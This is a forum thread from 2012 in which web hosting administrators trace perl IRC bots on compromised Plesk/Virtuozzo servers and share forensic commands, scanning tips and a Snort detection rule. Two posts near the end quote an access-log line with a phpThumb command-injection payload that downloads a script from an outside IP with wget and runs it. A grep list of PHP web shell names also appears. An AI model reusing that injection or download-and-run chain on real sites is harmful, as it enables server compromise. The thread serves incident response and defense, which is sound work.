Tracking down IRC Bots

krazybob · 03-25-2012, 04:19 PM

First, I'd love to see a web host area.

I am running Plesk 8.x, 9.x and 10,x on Centos. Any web host knows how easy it is for a crappy script to allow a hacker to upload to the /tmp directory and extract their files to the web site that had a compromised script. Centos.org insists that my server has been rooted and the only solution is to reformat and restore from backup -- including the already compromised site. I have over 100 servers sitting on Virtuozzo as a nice buffer between the real OS and the container. I've been a host for 14 years. IRC bots, in my experience, don't change system files since Plesk and cPanel both have rkhunter and they would be located quickly.

I am trying to trace a IRC bot that got in probably by a compromised script. phpBB, calendar, Joomla, WordPress, even Plesk has holes. I got no help there.

The symptom is that our firewall will show :6667 on server 123. Going to that sever one will see /usr/sbin/apache/log. Most of us know that isn't a valid log. Nonetheless doing a lsof -i: 6667 yields minimal results. lsof -p <PID> yields limited results. Doing a ps auxf yields limited results as does ps <PID>.

The question I have is what are some methods of tracing the :6667 bot? It is usually hiding in plain site on a virtual site. Searching for newly added apache files fail because they upload and don't launch for some time. This particular bot had a fingerprint

Code:

7184 ? S 0:00 /usr/sbin/apache/log

Oyr firewall stops them from outputting but knowing there is a compromised site is critical to resolve.

Any suggestions? Humbly, I just need to clues on how to. What commands to run, etc.

Humbly Yours,

Bob

unSpawn · 03-25-2012, 07:12 PM

Quote:

Originally Posted by krazybob

Centos.org insists that my server has been rooted

Ah yes, the thread is here. I'd rather wait for data I can analyze before I can determine if the security of a Host Node or VPS was breached and to what extent.

Quote:

Originally Posted by krazybob

IRC bots, in my experience, don't change system files (..)

If that's your experience, cool but IMHO preventing anything in the web stack (homebrewn scripts, applications or plugins) to allow local or remote file inclusion by regular auditing and updating should be at the basis of things.

Quote:

Originally Posted by krazybob

(..) I am trying to trace a IRC bot that got in probably by a compromised script. phpBB, calendar, Joomla, WordPress, even Plesk has holes. The symptom is that our firewall will show :6667 on server 123. Going to that sever one will see /usr/sbin/apache/log. Most of us know that isn't a valid log. Nonetheless doing a lsof -i: 6667 yields minimal results. lsof -p <PID> yields limited results. Doing a ps auxf yields limited results as does ps <PID>. (..) It is usually hiding in plain site on a virtual site. Searching for newly added apache files fail because they upload and don't launch for some time. what are some methods of tracing the (..) bot?

IIRC in Virtuozzo you can use LOG rules in the FORWARD chain on the Host Node. As these are per-IP it only helps you determine which VPS causes unwanted egress traffic. (Still it's better than nothing.) As far as commands go you could run as root in the suspected VPS they are similar to what you have listed except for switches:

Code:

\pgrep -lf perl

lists all processes that have "perl" as part of the process name pattern (unless hidden). (Use a backslash or add the full path to avoid aliases.)

Code:

ps -U [USERNAME] -o ppid,pid,cmd

lists all processes owned by a user (as would 'pgrep -u [USERNAME] -l' but it illustrates relevant switch use better).

Code:

lsof -Pwlnp 7184

gives you all open files for the process with PID 7184. (The switches are to speed up by not resolving things.)

Code:

lsof -Pwln|grep dele

gives you all deleted files still open on file descriptors for all processes.

Code:

cat -v /proc/7184/environ

gives you the process environment (as would 'ps acxwwwe' but for all processes).

Code:

lastcomm --user [USERNAME]

gives you all previously executed commands for a user if psacct was enabled and 'lastcomm --command [COMMANDNAME]' a command.

Code:

ls --full-time --time-style=long-iso --quoting-style=c -altr /var/spool/cron

lists current crontabs by modification time.

Code:

lastlog|grep -v Nev; last -30; who -a; lastb

gives you (unless records have been wiped) all the accounts that have logged in, the last 30 logins, who's on now and any failed attempts.
* BTW Saying "yields limited results" does not clarify what you got in terms of output and what you expected. There's more commands but I'd rather see you post actual output first instead of an account of things. So if you got actual data please post it and in detail (but don't forget to obfuscate IP addresses).

colucix · 03-26-2012, 02:55 AM

Moved: This thread is more suitable in Linux - Security and has been moved accordingly to help your thread/question get the exposure it deserves.

ktreese · 03-26-2012, 06:11 PM

All,

I experience the same problems with the IRC bots. I'm having a heck of a time finding the point of entry on this latest hack, as it seems others are as well. This is my contribution to help identifying the problems.

Some things I have noticed is that this bot was always trying to establish connectivity to 38.108.80.105. I've null routed that IP and was manually killing off the processes, but they always kept coming back. Now, I'm seeing the same behavior but this time, it's establishing connections to 216.14.112.66 on port 6667. So now I've got bots trying to reach the 38.108.80.105 which has been null routed, and now 216.14.112.66.

Here's an example of what it looks like:

Running netstat -anlp | grep :6667 on the Virtuozzo hardware node, three VPS accounts have been victimized:
tcp 0 0 xxx.xxx.xxx.252:37201 216.14.112.66:6667 ESTABLISHED 10948/logs
tcp 0 0 xxx.xxx.xxx.40:37193 216.14.112.66:6667 ESTABLISHED 10490/logs
tcp 0 0 xxx.xxx.xxx.20:37216 216.14.112.66:6667 ESTABLISHED 13329/logs

I've chosen one to investigate, with PID 13329. From experience with this, my first look is at pstree output. I've cut out the unimportant stuff:

-bash-3.1# pstree -aup
init,1 \040\040
|-httpd,10222
| |-httpd,16022,apache
| |-httpd,3448,apache
| | `-(sh,13315)
| |-httpd,28310,apache
| |-httpd,4011,apache
| |-httpd,13361,apache
| `-httpd,13456,apache
|-perl,13329,apache

Here, we have two odd looking results.
-(sh,13315)
-perl,13329,apache

-bash-3.1# cat /proc/13329/environ
/logs -bash-3.1#

-bash-3.1# ls -ld /logs
ls: /logs: No such file or directory

-bash-3.1# cat /proc/13315/environ
-bash-3.1#

lsof -p 13329 points to /var/tmp/a:

-bash-3.1# ls -al /var/tmp
total 5
drwxrwxrwt 3 root root 1024 Mar 26 13:46 .
drwxr-xr-x 21 root root 1024 Sep 10 2009 ..
drwxr-xr-x 2 apache apache 1024 Mar 26 13:58 a
-rw-r--r-- 1 apache apache 1082 Mar 26 13:42 a.tgz

-bash-3.1# ls -al /var/tmp/a
total 7
drwxr-xr-x 2 apache apache 1024 Mar 26 13:58 .
drwxrwxrwt 3 root root 1024 Mar 26 13:46 ..
-rw-r--r-- 1 apache apache 2729 Mar 26 13:41 find.pl
-rw-r--r-- 1 apache apache 528 Mar 26 13:55 out.txt
-rw-r--r-- 1 apache apache 199 Feb 22 12:09 start.pl

All owned by user apache, so this tells me the point of entry is through one of the customers domain. Thing is, I can't determine how to track where 'they' are getting in at. Before killing off any of the processes, I decided to connect to the IRC. From doing this before on the 38 address, I notice that the newer connections to the 216 connect to the same ROXnet to a channel #god. In the channel are a bunch of users with the name "ps-<numbers>", numbers being a random set of 5 to 6 digits. Nothing is being posted in the channel itself, except when I kill the processes. Immediately after executing the kill command to pids 13315 3448 13329, a posing shows in the channel with "ps-3486 has quit (Client exited)"

I've killed the process for now, but know it's only a matter of time before it comes back. I've searched access_log files to look for suspect GETs or 'perl' in the log files but don't see anything. My search was narrowed by the timestamp of the a.tgz file.

A search for c99 and r57 shells also came up empty:
-bash-3.1# cd /var/www/vhosts/
-bash-3.1# grep -rilE --binary-files=without-match 'ccteam.ru|99shell|c100shell|r57|r66|fx29shell|gooodshot|N3tsh|sniper|Spyn3t|rapidleech|rchitech|c99 ' *
-bash-3.1#

This is always a pain in the rear to deal with these bots and I too am looking for a solution on identifying the weakness allowing the hackers to get in. Of course, these servers are parallels VPS servers, so the customer runs the machines and installs their own 3rd party apps (joomla, etc) which I know can be the de facto otherwise, but if I can nip this in the butt, it would be good for business.

unSpawn · 03-26-2012, 07:17 PM

0. If these sh and perl processes are still running could you get us the lsof output?
1. CYP contact me by email and tell me where I can get the tarball? TIA.

ktreese · 03-27-2012, 12:29 AM

I've emailed you links to obtain the tarballs. I've also included a screenshot of the IRC channel from when I did a mass kill across my platform for the accounts which have been affected. Same web link and path; http://../files/IRC.png

I don't think this is related to the known Plesk vulnerability: http://kb.parallels.com/en/113321 We were hit with this and the behavior is different, not to mention accounts have been patched and account passwords updated. I think this one is used to send mass amounts of SPAM.

Once again, to keep this at bay, I've null routed the new IRC servers IP, however, it will come back and these same 3 processes will launch again and attempt to connect out, but won't be able to until the IP is changed again.

unSpawn · 03-27-2012, 05:09 PM

Quote:

Originally Posted by ktreese

Code:

-bash-3.1# cat /proc/13329/environ 
/logs                                                                                                                                                                                                                                                                    -bash-3.1# 
-bash-3.1# ls -ld /logs
ls: /logs: No such file or directory

-bash-3.1# cat /proc/13315/environ 
-bash-3.1#

Pid 13315 is dead and waiting to be reaped by init so there's no environment and such left. (I suggested to run 'cat -v' instead of cat and the long switch name shows the reason why: "--show-nonprinting".) Anyway. From the tarballs you sent me (thanks) at least we can find out more about the processes. Using "ps.ef" from the dot-66 tarball we see similar dead shell process with PID 11484 and parent PID 28053 (/usr/sbin/httpd). Your "ps.auxwww" (running as '/bin/ps /bin/ps acxfwwwe' gets you long lines, environment and such information all in one go. Running with at least "-o ppid,pid,cmd" gets you parent PID nfo which as you say may help) shows PID 11514 as "/usr/sbin/apache/logs", which at the time has been running for about 9(!) hours using about 80%(!) CPU, and lsof for PID 11514 a CWD of /var/tmp/a. File "/var/tmp/a/logs" doesn't exist, it announced itself as "/usr/sbin/apache/logs" (argv[0] modification) and the process has Parent PID of 1 (parent died: owned by init). So what is missing from the nfo in the tarballs is the "bridge" between initialization and final process. Searching the 'net shows similarities with a class of IRC bots based on "atrix" of which one line of Perl code reads:

Code:

my $processo = '/usr/sbin/apache/log';

...and while this on the one hand is inconclusive as you haven't been able to find or recover the "evidence" I think it does represent a plausible lead.

Quote:

Originally Posted by ktreese

I've null routed that IP and was manually killing off the processes, but they always kept coming back. (..) I've killed the process for now, but know it's only a matter of time before it comes back.

If "coming back" points to attackers using a local or remote file inclusion vulnerability again, OK, that can be fixed but if there is a hint the process is automated you should check crontab for UID 48 and others as well.

Quote:

Originally Posted by ktreese

A search for c99 and r57 shells also came up empty

Good to know. If a PHP shell was found and the attacker was able to run it they could have explored (and tried to exploit) the system at a more leisurely pace. Since attacks are most often automated finding PHP shells often indicates absence of hardening or carelessness wrt auditing. Note though that, like with deployed items from local or remote file inclusions, scanning for strings has two flaws: 0) the list of strings to check for is never complete and 1) the file may be obfuscated or in a location that's not scanned by default. While IMNSHO RFx' products are highly overrated his "Linux Malware Detect" (or LMD for short) does represent the most active, practical effort to classify and scan for malware so you best use that (actually you can just use its ClamAV databases like 'clamscan -d ${PWD}/rfxn.hdb -d ${PWD}/rfxn.ndb /path/to/scan'). Using ClamAV also means you can scan compressed tarball contents and image files (notorious for uploading renamed tarballs) and scan multiple directories at a time.

Quote:

Originally Posted by ktreese

I experience the same problems with the IRC bots. I'm having a heck of a time finding the point of entry on this latest hack, as it seems others are as well. (..) This is always a pain in the rear to deal with these bots and I too am looking for a solution on identifying the weakness allowing the hackers to get in. Of course, these servers are parallels VPS servers, so the customer runs the machines and installs their own 3rd party apps (joomla, etc) which I know can be the de facto otherwise, but if I can nip this in the bud, it would be good for business. (..)

...which brings us to the main problem. Getting early warnings from running an IDS like Snort with the emerging-web_server.rules rule set from http://"http://www.emergingthreats.n...erging Threats:

Code:

/etc/snort_emergingthreats/emerging-web_server.rules:alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB_SERVER Exploit Suspected PHP Injection Attack (cmd=)"; flow:to_server,established; content:"GET "; nocase; depth:4; uricontent:".php?"; nocase; uricontent:"cmd="; nocase; pcre:"/cmd=[^\x28].*(cd|\;|echo|cat|perl|curl|wget|id|uname|t?ftp)/Ui"; reference:cve,2002-0953; reference:url,doc.emergingthreats.net/2010920; classtype:web-application-attack; sid:2010920; rev:3;)

, scanning upload directories with ClamAV, auditing VPS log files using Logwatch (see for instance this web log post for extending its search capabilities), null-routing traffic and killing processes may help alert you and may mitigate the situation but they don't remediate it. It's like fixing symptoms instead of the cause.

While being alert yourself and providing hardened OS templates with auditing, mod_security, Suhosin, GreenSQL and such enabled by default may help in essence your problems are caused by what your clients do, don't or run: stolen FTP credentials, anonymous FTP uploads that get executed by Perl or PHP, weak SSH passwords, logging in over SSH as root, homebrewn scripts accepting all sorts of unchecked, unsafe user input, installations of PHP-based software with the installation sources and default passwords in place, but most of all stale versions of PHP-based software like web log, forum, statistics, photo gallery or shopping cart software or their plugins being susceptible to or being outright vulnerable to MySQL injection, local or remote file inclusions and such cause these problems. Easier said than done but apart from system hardening and auditing, keeping tabs on used versions, or educating and requiring your customers to do so, would IMHO be the first step to avoid these problems.

krazybob · 03-27-2012, 06:57 PM

Quote:

Originally Posted by unSpawn

Ah yes(..)

Thank you for jumping in with both feet! That's a great attempt at an answer. Unfortunately we don't use software-based firewalls. As I stated we use a Watchguard X8000 Firebox. As it is we can tell which VPS is causing the egress using Cacti. A nice feature of the X8000 is that it allows a small sliver of bandwidth to allow us into the box if an attack occurs.

I am sorry others are experiencing the exact same issue but hopefully we can collectively reach a conclusion.

krazybob · 03-27-2012, 07:03 PM

Still some excellent information in this thread. Thanks!

unSpawn · 03-27-2012, 07:20 PM

Quote:

Originally Posted by krazybob

Thank you for jumping in with both feet! That's a great attempt at an answer.

I'm sorry but you might have misunderstood. I don't attempt to answer such questions immediately as I like to base my responses and conclusions on evidence and facts.

Quote:

Originally Posted by krazybob

Unfortunately we don't use software-based firewalls.

While not insignificant that only addresses a real small part of my reply. See the last paragraph of my reply to ktreese.

Quote:

Originally Posted by krazybob

hopefully we can collectively reach a conclusion.

For that to work, at least how I like to do things, it starts with you contributing data we can analyze.
* It would also help if you reply more timely. Maybe subscribe to the thread and respond when new posts are made?

ktreese · 03-27-2012, 11:36 PM

Thanks for the analysis and timely response.

I should have included output from the 'cat -vet' command I ran against /proc/<pid>/environ but it looked no different than 'cat' so I left it be. Regardless, I will take note next time I encounter this condition.

As far as the content of /proc/13329/environ, the output from the cat command was:
"/logs -bash-3.1#"

where "-bash-3.1#" was part of the environ file. I'm not sure this tells us much, but thought I should point it out.

Quote:

If "coming back" points to attackers using a local or remote file inclusion vulnerability again, OK, that can be fixed but if there is a hint the process is automated you should check crontab for UID 48 and others as well.

The null route I put in place is on the DMZ interface from the hardware node. The null route won't prevent the attackers from reconnecting to the customers public IP and relaunching their deed; it's just that it won't go anywhere because once it hits the DMZ, the null route drops it. From past experience with these exploits, I have found apaches crontab to be responsible for respawning these perl scripts, which often times reveals the exact location from which it is begin lauched, usually in /tmp or /var/tmp is some hidden directory, at times "/tmp/...", "/tmp/ /.blah", etc. I usually clean these up after commenting out or deleting the cron entries. In this particular case, cron wasn't being used and unless all 3 pids were killed, processes were respawned. The only thing I could surmise is that the attackers found their way in, downloaded their perl scripts, launched them, removed them from the system to leave no trace while the programs were left to run in memory, until killed.

Speaking of, since I killed them last night, none have returned. As you saw from the amount of CPU these nasty little boogers consume, it's in my best interest to kill them off once discovered as to not affect the entire hardware node and the other customers that use it.

Thanks for the tip on LMD. I'll be sure to give it a go next time I come across this. I imagine this will be quite helpful in getting to the overlooked compromised files. This coupled with your suggestions on IDS, Logwatch, and other tools would be great first steps towards combating this problem considering the nature of the product in that it's only as secure as our clients make it since they are the root users.

With that, it is often times their problem that attackers get in. We constantly are hit with ssh-brute force scans, and many have fallen victim and it was clear as to why when we would see what password(s) they were using. Customer education is key, but when a product like parallels is being offered in which clients can manage their VPS via a web based UI, they will use it. It's not often customers are ssh'ing in and using the command line to manage their server. Other exploits are due to unpatched versions of wordpress, joomla, or upload / images directories with 777 permissions, which, as you said, is the innocence of the customers using vulnerable applications without taking proper security measures.

Thanks for all of the pointers/suggestions. I plan to continue posting as I come across new finds as I'm sure this (or a variant) will pop up again in the near future. For now, I'll remain vigilant on my keen eye for finding these intrusions and notifying customers when they're found.

krazybob · 03-28-2012, 12:31 PM

As requested:

Code:

[root@hw007 ~]# vzctl enter 321
entered into VE 321
-bash-3.2# lsof -i :6667
COMMAND   PID   USER   FD   TYPE    DEVICE SIZE NODE NAME
perl    20114 apache    3u  IPv4 630741784       TCP 65.44.220.69:60326->216.14.112.66:ircd (SYN_SENT)

-bash-3.2# lsof -Pwln|grep dele
httpd      9585       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd      9974       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd      9981       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     10036       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11546       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11547       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11552       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11912       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11951       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11959       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11964       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11971       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11972       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11973       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11983       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11984       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11985       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11986       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11987       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11988       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     11990       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     12002       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     12004       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     12005       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     12007       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     12010       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     12011       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     12013       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     12014       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
perl      20114       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
sw-engine 20400        0    3u   REG       0,28         0   17453181 (deleted) /tmp/.apc.fzz10t
sw-engine 20400        0    4u   REG       0,28         0   17453291 (deleted) /tmp/.apc.i55c9v
sw-engine 20400        0    5u   REG       0,28         0   17453459 (deleted) /tmp/.apc.6OQohy
sw-engine 20400        0    6u   REG       0,28         0   17453532 (deleted) /tmp/.apc.cigBpA
sw-engine 20400        0    7u   REG       0,28         0   17453550 (deleted) /tmp/.apc.oo9NxC
sw-engine 20423     2526    3u   REG       0,28         0   17453181 (deleted) /tmp/.apc.fzz10t
sw-engine 20423     2526    4u   REG       0,28         0   17453291 (deleted) /tmp/.apc.i55c9v
sw-engine 20423     2526    5u   REG       0,28         0   17453459 (deleted) /tmp/.apc.6OQohy
sw-engine 20423     2526    6u   REG       0,28         0   17453532 (deleted) /tmp/.apc.cigBpA
sw-engine 20423     2526    7u   REG       0,28         0   17453550 (deleted) /tmp/.apc.oo9NxC
mysqld    21536       27    4u   REG       0,28         0   17453551 (deleted) /tmp/ibAPg5ep
mysqld    21536       27    5u   REG       0,28        21   17453552 (deleted) /tmp/iba8qSwt
mysqld    21536       27    6u   REG       0,28         0   17453554 (deleted) /tmp/ibxLfGOx
mysqld    21536       27    7u   REG       0,28         0   17453556 (deleted) /tmp/ibY5gM6B
mysqld    21536       27   11u   REG       0,28         0   17453557 (deleted) /tmp/ib0H0obH
httpd     21714        0  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd     32561       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC

-bash-3.2# ls --full-time --time-style=long-iso --quoting-style=c -altr /var/spool/cron
total 28
-rw-------  1 root          root   67 2009-01-18 01:55 "drweb"
-rw-------  1 root          root  154 2009-01-18 01:57 "kluser"
drwxr-xr-x 10 root          root 4096 2009-07-19 17:42 ".."
-rw-------  1 root          root  125 2009-12-23 20:44 "trainsi-admin"
-rw-------  1 newlees-admin root   46 2012-02-16 19:57 "newlees-admin"
-rw-------  1 root          root    0 2012-02-29 20:54 "specoc-admin"
-rw-------  1 root          root    0 2012-03-06 08:36 "sbtrim-admin"
-rw-------  1 root          root  743 2012-03-10 23:29 "root"
drwx------  2 root          root 4096 2012-03-13 03:26 "."

unSpawn · 03-28-2012, 02:17 PM

Quote:

Originally Posted by krazybob

Code:

lsof -Pwln|grep dele
httpd      9585       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd      9974       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC
httpd      9981       48  113u   REG       0,28         0   17453558 (deleted) /tmp/ZCUD5AfOCC

Thanks. I forgot to add in my first reply that if you encounter deleted files you can try to save and look at them. Goes like this:

Code:

lsof -Pwln|awk '/\deleted\)/ {print $2, $4, $NF}' | while read FPID FFID FFILE; do
 FFID=${FFID//[rwu]/}; FFILE=${FFILE//*\//};  [ -e "/path/to/${FFILE}" ] \
|| cat /proc/${FPID}/fd/${FFID} > "/path/to/${FFILE}"; done

Now you can run 'file' on the files you saved in the (replace "/path/to/" obviously) directory.

Quote:

Originally Posted by krazybob

Code:

-bash-3.2# ls --full-time --time-style=long-iso --quoting-style=c -altr /var/spool/cron
-rw-------  1 newlees-admin root   46 2012-02-16 19:57 "newlees-admin"
-rw-------  1 root          root    0 2012-02-29 20:54 "specoc-admin"
-rw-------  1 root          root    0 2012-03-06 08:36 "sbtrim-admin"
-rw-------  1 root          root  743 2012-03-10 23:29 "root"

Apart from stale and empty crontabs root runs cron jobs. While nothing in your first reply or the thread elsewhere indicates crond being used it's always good to inspect files you think could be holding clues. It's plain text file so using cat or any pager or editor should do.

That said it's a nice reply but incomplete. Replies in this thread showed you which commands you should have to present more data, especially since you do know the PID of the current IRC bot (20114).

krazybob · 03-28-2012, 03:35 PM

Code:

/var/www/vhosts/brianbeckerle.com/statistics/logs/access_log.processed:87.98.219.50 - - [27/Dec/2011:02:48:27 -0800] "GET /wp-content/themes/comfy-plus/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/f%2067.19.79.203/f;killall%20-9%20perl;perl%20/tmp/f;%20&phpThumbDebug=9 HTTP/1.1" 404 1248 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0"

krazybob · 03-28-2012, 03:45 PM

In this case it appears that they used a weakness in WordPress. From this access_log grep for just /tmp we gleaned two IP's top block at the firewall. This indicates a 404 so I don't know that it succeeded. But at least I got IP's to ban.

These aren't actually getting out because they are blocked in the X8000 firebox. I cannot trust the site it says is hacked. Some have PTR records set (that shouldn't.) This is always the destination URL.

Code:

[root@server101 ~]# lsof -i :6667
COMMAND   PID   USER   FD   TYPE    DEVICE SIZE NODE NAME
perl    11983 apache   96u  IPv4 730574319       TCP timmah.com:41176->mail.cdconsultants.ca:ircd (SYN_SENT)

Code:

/var/www/vhosts/brianbeckerle.com/statistics/logs/access_log.processed:87.98.219.50 - - [27/Dec/2011:02:48:27 -0800] "GET /wp-content/themes/comfy-plus/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/f%2067.19.79.203/f;killall%20-9%20perl;perl%20/tmp/f;%20&phpThumbDebug=9 HTTP/1.1" 404 1248 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:8.0) Gecko/20100101 Firefox/8.0"